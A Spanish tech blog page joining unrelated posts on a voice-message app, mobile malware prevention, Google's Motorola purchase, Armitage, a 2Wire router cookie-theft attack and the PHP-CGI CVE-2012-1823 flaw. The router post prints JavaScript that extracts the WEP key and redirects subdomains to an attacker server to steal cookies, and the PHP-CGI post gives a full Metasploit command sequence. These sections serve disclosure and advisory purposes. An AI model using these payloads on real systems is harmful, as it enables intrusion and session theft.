Audiolip es una nueva aplicación web que te ofrece la posibilidad de grabar un mensaje corto de no más de 15 segundos con tu voz, para enviarlo a Twitter, Facebook o compartirlo con quien quieran.
Para utilizar el servicio crean una cuenta y luego de la confirmación a través de email, ya pueden comenzar a grabar el micro-podcast desde la web.
Una vez terminado lo comparten en Twitter, Facebook o simplemente copian la url y la comparten con sus amigos.
También ofrecen un número de teléfono al que pueden llamar gratuitamente utilizando algún servicio web que les permita llamar a números gratis de Estados Unidos o directamente si se encuentran en Inglaterra o Polonia, también tienen números de teléfono a los cuales pueden llamar y grabar el mensaje por esa vía.
Pero todo no termina allí, ya que los visitantes pueden grabar un mensaje en respuesta al nuestro, dejar un comentario de texto, dar un LoveIt (similar al Me Gusta de Facebook) y descargar el MP3 o sea que no solo es grabar y compartir, también nos permite interactuar con otros.
Una propuesta interesante que nos permite expresar mucho más que los 140 caracteres que nos permite Twitter, aunque quizás para Facebook sea un mensaje de voz muy corto, ya que allí podemos escribir mucho más
A continuación el vídeo oficial de presentación del servicio,
Los dispositivos móviles se ven afectados por malware específico y, por ello, se hace un repaso sobre las formas por las que este tipo de dispositivos se pueden infectar, los efectos que pueden ocasionar y cómo prevenirlos y mitigarlos.
Según varios informes de compañías de seguridad como ESET, Sophos, Viruslist, McAfee o Symantec, se pone en relieve un aumento considerable del malware para dispositivos móviles.
Esto es debido, en parte, al aumento del uso de dispositivos móviles con acceso a Internet, circunstancia que, unida a un desconocimiento de los riesgos que tiene el uso inadecuado de estos dispositivos, hace que la posibilidad de contagio por malware sea alta, como se ha demostrado con la aparición de botnets para smatphones.
Por otro lado, tendencias como el «BYOD» (Bring Your Own Device o trae tu propio dispositivo), que se está imponiendo en las empresas, hace que la compartición del uso del dispositivo con fines empresariales y particulares, puede ocasionar que el problema de las infecciones repercuta negativamente en la empresa provocando un cambio en sus políticas de seguridad, de forma que puedan convivir en el mismo dispositivo el uso privado y profesional. De hecho, ya se está desarrollando software que trata de solucionar esta problemática, como es el caso del instituto Fraunhofer, para la tecnología de la seguridad de la información con Bizztrust, y el de la empresa Cisco con Cisco’s Highly Secure BYOD Solutions.
Independientemente de la adopción de este tipo de soluciones, es necesario conocer las vías de contagio que usa el malware en los dispositivos móviles, con el fin de ser capaces de prevenir esa infección. También, es importante minimizar los efectos del contagio, en caso de llegarse a producir.
Vías de contagio
Actualmente, las vías de contagio más comunes en los dispositivos móviles son:
Vulnerabilidades. Provocadas por un desarrollo inadecuado del software, en cuanto a nivel de seguridad y pruebas. Las vulnerabilidades pueden estar presentes en los sistemas operativos y en las aplicaciones que se instalan. Para solucionarlas, hay que instalar las actualizaciones de seguridad que los desarrolladores de software publican cuando los fallos son detectados y corregidos, tanto para el sistema operativo como para las aplicaciones instaladas. En el caso de algunos smartphones, puede ser un verdadero problema, ya que las actualizaciones del sistema operativo no siempre están disponibles cuando las publica el desarrollador del sistema, sino que es el proveedor del servicio de telefonía (operador) quién decide cuando sus usuarios disponen de la actualización.
Ficheros. Recibidos a través de Bluetooth, correo electrónico, mensajería instantánea, redes sociales o descargados de Internet. Para prevenir esta vía de contagio, solo hay que descargar o aceptar ficheros de sitios de total confianza o de otros dispositivos conocidos. Estos ficheros pueden ser de varios tipos:
ejecutables (.IPA para sistema operativo IOS, .APK para Android, .AXL y .COD para Blackberry y .jar para los que soporten Java)
documentos ofimáticos (.PDF, .DOC, .XLS,...)
multimedia (.AVI, .MPEG, .MOV...)
Navegación web. Se han detectado algunos casos de infección al navegar en alguna página web manipulada para que detecte nuestro sistema, busque alguna vulnerabilidad y, utilizándola, nos infecte con el malware ("Drive-By-Download"). Para mitigar esta amenaza, se deben usar navegadores o programas que analicen las páginas web antes de cargarlas. Además, se debe navegar solo por sitios de confianza y ser muy cautos con los enlaces recibidos vía SMS/MMS, mail, redes sociales y mensajería instantánea, ya que podrían llevarnos a una página web fraudulenta.
Aplicaciones maliciosas. Hay aplicaciones que realmente son malware "disfrazado". Este tipo de aplicaciones, normalmente, están en mercados o tiendas "alternativas" aunque, en algunos casos, se han encontrado aplicaciones maliciosas en los canales oficiales de distribución. La forma de prevenir esta infección es descargar aplicaciones solo de los sitios oficiales, y además buscar información sobre la misma en foros y páginas especializadas ya que, de lo contrario, sólo tendremos la confianza que nos ofrezca el desarrollador de la aplicación.
Aunque estas son las vías más habituales, también hay que tener en cuenta otros riesgos importantes como las capacidad de comunicación vía Wi-Fi de estos equipos, unido al crecimiento de puntos de acceso Wi-Fi gratuitos, que los hacen víctimas potenciales del robo de información mediante el espiado de la red (sniffing). Para evitarlo, no hay que usar estos servicios Wi-Fi para acceder a sitios web en los que se requiera introducir información personal o confidencial. También hay que asegurarse de que en caso de usar este tipo de conexiones, las páginas a las que accedemos dispongan de cifrado en las comunicaciones (HTTPS).
Otro factor a tener en cuenta en la seguridad de este tipo de dispositivos, es la eliminación de ciertas protecciones que hay en los sistemas operativos, mediante el «Jailbreak» o el «rooteado». Mediante el primero se consigue que el sistema operativo IOS (Apple) pueda instalar aplicaciones que no están firmadas, y por tanto, que no están en la tienda de Apple (Applestore). Esto supone una reducción en la seguridad del dispositivo debido a que solamente las aplicaciones de la tienda oficial se han verificado y aportan un nivel de confianza alto. En el caso de los dispositivos Android, el sistema puede instalar aplicaciones firmadas (configuración por defecto) o se puede configurar para poder instalar cualquier aplicación, aunque no sea de confianza. El proceso de "rooteado" consiste en poder darle a una aplicación permisos "especiales", lo que implica mayor riesgo en la operativa que pueda llevar a cabo esta aplicación. Estas acciones incrementan la posibilidad de instalación de un software malicioso en un equipo, ya que disminuyen el nivel de seguridad del sistema. Por ese motivo se desaconsejan totalmente cuando el terminal va a ser utilizado para uso en la empresa.
Mitigación de la infección
Una vez que el dispositivo ha sido infectado, y se ha detectado, hay que llevar a cabo una serie de acciones para reducir los efectos perjudiciales que podrían llegar a surgir. Estas acciones, están relacionadas con las funcionalidades del malware para este tipo de dispositivos y con el uso que se haga del mismo, ya que no es igual que sea un “Smartphone” para uso personal que el utilizado para el trabajo. En función del malware que nos haya afectado, tendríamos estos posibles efectos y medidas a adoptar:
Robo de datos de contactos. Es necesario avisar a nuestros contactos e indicarles que es posible que reciban alguna comunicación "extraña", incluso en nuestro nombre. El malware podría acceder a nuestros contactos y redirigirles alguna notificación para transmitir más malware o redirigirlos a sitios web fraudulentos.
Robo de contraseñas. Será necesario el cambio de nuestra contraseña de los servicios que se haya usado desde este dispositivo, ya que podrían haber sido robadas. Con el robo de credenciales se podrá suplantar la identidad en el servicio en cuestión. Además, en caso de tener la misma contraseña en varios servicios (¡mala práctica en el uso de contraseñas!), habría que cambiarla en todos aquellos en los que se use, incluso en los que no se ha accedido desde ese dispositivo, ya que a partir de unos servicios como correo o mensajería se pueden deducir otros que sí se usan como por ejemplo, las redes sociales. También hay que considerar el uso de un gestor de contraseñas.
Robo de datos bancarios. La única forma de mitigar esta acción es informar a nuestro banco de lo sucedido, modificar las credenciales bancarias, y hacer un seguimiento exhaustivo de los movimientos de nuestras cuentas y tarjetas. Por otro lado, y en caso de que hayan usado ya esas credenciales con fines fraudulentos, es necesario realizar una denuncia ante las Fuerzas y Cuerpos de Seguridad del Estado o en un juzgado.
Robo de información empresarial. En el caso de que el dispositivo móvil se utilice con fines profesionales, el malware podría robar información relativa a la empresa. La forma de mitigar esta acción es comunicárselo a la empresa para que tome las medidas necesarias como: cambio de contraseñas, aviso a clientes/proveedores/colaboradores. Una medida de prevención adecuada sería utilizar un software de codificación o cifrado de información.
Recomendaciones a seguir
Para el uso de dispositivos móviles, especialmente cuando se compartan en el ámbito privado y en el empresarial, se deberán seguir las siguientes recomendaciones de forma genérica:
Desde hace tiempo es conocido que los routers caseros están plagados de vulnerabilidades. En este caso mostramos como una serie de vulnerabilidades en routers 2Wire, al ser explotadas secuencialmente, permiten obtener remotamente los valores de las cookies de casi cualquier dominio.
El proceso de ataque sería el siguiente:
1. La víctima visita una página maliciosa con un módem vulnerable,
2. La página realiza pharming al router redirigiendo subdominios al servidor del atacante,
3. La página obliga a la víctima a realizar peticiones a los subdominios,
4. El atacante recibe en su servidor las cookies de los dominios.
Utilizamos subdominios inexistentes por dos razones. Al usar un subdominio inexistente el navegador no tiene la dirección IP en el cache. Y la segunda razon es que en caso de que exista algún error, la comunicación con el dominio original no se pierde.
Explotando el cross site scripting podemos estar en la misma zona del router y obtener acceso a sus propiedades, como la información de las páginas del router.
Inyectamos un script que nos permite leer la información de la configuración debido a la vulnerabilidad de revelación de configuración. Leemos el archivo y obtenemos la WEP default:
cfgpwn.js:
try { xmlhttp=new ActiveXObject("MSXML2.XMLHTTP"); } catch(e) { xmlhttp = new XMLHttpRequest() } xmlhttp.open("GET","/xslt?page=mgmt_data",false); xmlhttp.send(null); var info = xmlhttp.responseText; var pass = "temporal"; var wep = info.substr(info.indexOf("encrypt_key\"\>0x")+15,10);
Utilizando la clave WEP default podemos definir una nueva contraseña de administración web. De la siguiente manera usamos la WEP para cambiar el password:
Ya que hemos definido un password, podemos obtener la sesión de administrador para obtener privilegios en el router. Para esto realizamos la siguiente petición:
Como administradores podemos agregar dominios a la lista de hosts. Agregamos subdominios de los dominios de los cuales queremos las cookies:
for (var i=0; i<dominios.length; i++) { dns=dominios[i]; xmlhttp.open("GET","/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME="+dns+"&ADDR="+ip,false); xmlhttp.send(null); }
Obligamos a la víctima a realizar peticiones a los subdominios para que envíe las cookies:
for (var i=0; i<dominios.length; i++) { dns=dominios[i]; document.write('<img src=http://'+dns+'>'); }
Todo esto se podría automatizar y realizar de forma oculta para la víctima. En el siguiente video se muestra la explotación de una forma visible:
Hay que entender que en este caso 2Wire ha publicado parches para todas estas vulnerabilidades hace tiempo, pero en muchas ocasiones no depende del usuario o fabricante el actualizar, depende del proveedor de servicio.
Desde el Blog de Google escrito por el mismo Larry Page, nos informan que el trato con Motorola Mobility, esos creadores del StarTAC, y de los que primero apoyaron a Android ahora forman parte de Google.
Después de lograr el visto buena de Europa, Estados Unidos y China, Google por fin pudo comprar la división móvil de Motorola, aunque Motorola seguirá trabajando independiente del gigante de la tecnología con su licencia de Android, esta compra ayudará a cargar el negocio móvil.
Seguramente Google pondrá toda la carne al asador con esta compra, extendiendo su rango de teléfonos Nexus, ahora sólo hay que esperar que Motorola pueda proveer el Hardware necesario para la próxima generación de smartphones.
Mucha gente ya no usa laptops ni PC para lo cual Google se tiene que preparar en palabras de Larry Page “muchas veces la gente tienda a sobre estimar el impacto de la tecnología en el corto plazo , pero subestiman el significado a largo plazo. Muchos de los usuarios que se conecten a partir hoy pueden nunca utilizar un PC, y el impacto de esta transición será tan profundo como lo será la habilidad de solo tocar y jugar con tu teléfono”.
Eindbazen, un equipo de competiciones CTF, ha descubierto una vulnerabilidad en PHP-CGI (CVE-2012-1823) que permite pasar parámetros al intérprete de PHP, como -s o -r, a través de la URL. Por ejemplo añadiendo la cadena '?-s'.
Como resultado de la inyección de estos parámetros en la URL, se puede mostrar el contenido de archivos de código fuente (que puede incluir información confidencial como, por ejemplo, contraseñas de BBDD) o ejecutar código PHP arbitrario.
Aunque el parámetro '-r', para ejecutar código PHP, es filtrado en php5-cgi, dependiendo de las variables de entorno, esta medida de seguridad puede evitarse. PHP eliminó por error el código que protegía ante este problema en 2004.
Ya existen módulos para Metasploit (use exploit/multi/http/php_cgi_arg_injection
$ ./msfconsole msf > use exploit/multi/http/php_cgi_arg_injection msf exploit(php_cgi_arg_injection) > set RHOST 192.168.178.210 msf exploit(php_cgi_arg_injection) > set TARGETURI /phpinfo.php msf exploit(php_cgi_arg_injection) > set PAYLOAD php/exec msf exploit(php_cgi_arg_injection) > set CMD echo \"owned\">/var/www/html/owned.html msf exploit(php_cgi_arg_injection) > exploit
Solucion
Ya existen módulos de la herramienta de pentesting y hacking metasploit que permiten explotar esta vulnerabilidad por lo que se recomienda actualizar cuanto antes. Se puede hacer a través del código fuente, aunque se recomienda instalarlo a través de los mecanismos de actualización de paquetes de Linux. Para sistemas Windows, se puede descargar de la web http://windows.php.net/download/.
Como alternativa, si no se puede actualizar, el fabricante propone las siguientes reglas del módulo mod_rewrite de Apache para bloquear las URLs maliciosas:
Armitage es una herramienta, que hace aun más fácil y gráfico el uso de Metasploit, que surgio hace mas de un año, ahora tiene muchas más utilidades y mejoras. Tiempo atrás se tenía que instalar manualmente para usarlo, hoy viene por defecto con MSF.
Es así que les quiero dejar un vídeo para que vean algunas de las nuevas características, y para que los que no lo conocen comiencen a familiarizarse con él.
En el vídeo se muestra 10 clientes obtenidos con Armitage después de la explotación de un servidor remoto, se ven diferentes funcionalidades de Armintage y al final del vídeo se muestra lo fácil que es la gestión de una base de datos con 5.000 hosts a través de esta aplicación
Para más info pueden visitar la web oficial de Armitage o pueden consultar más vídeos en Youtube.
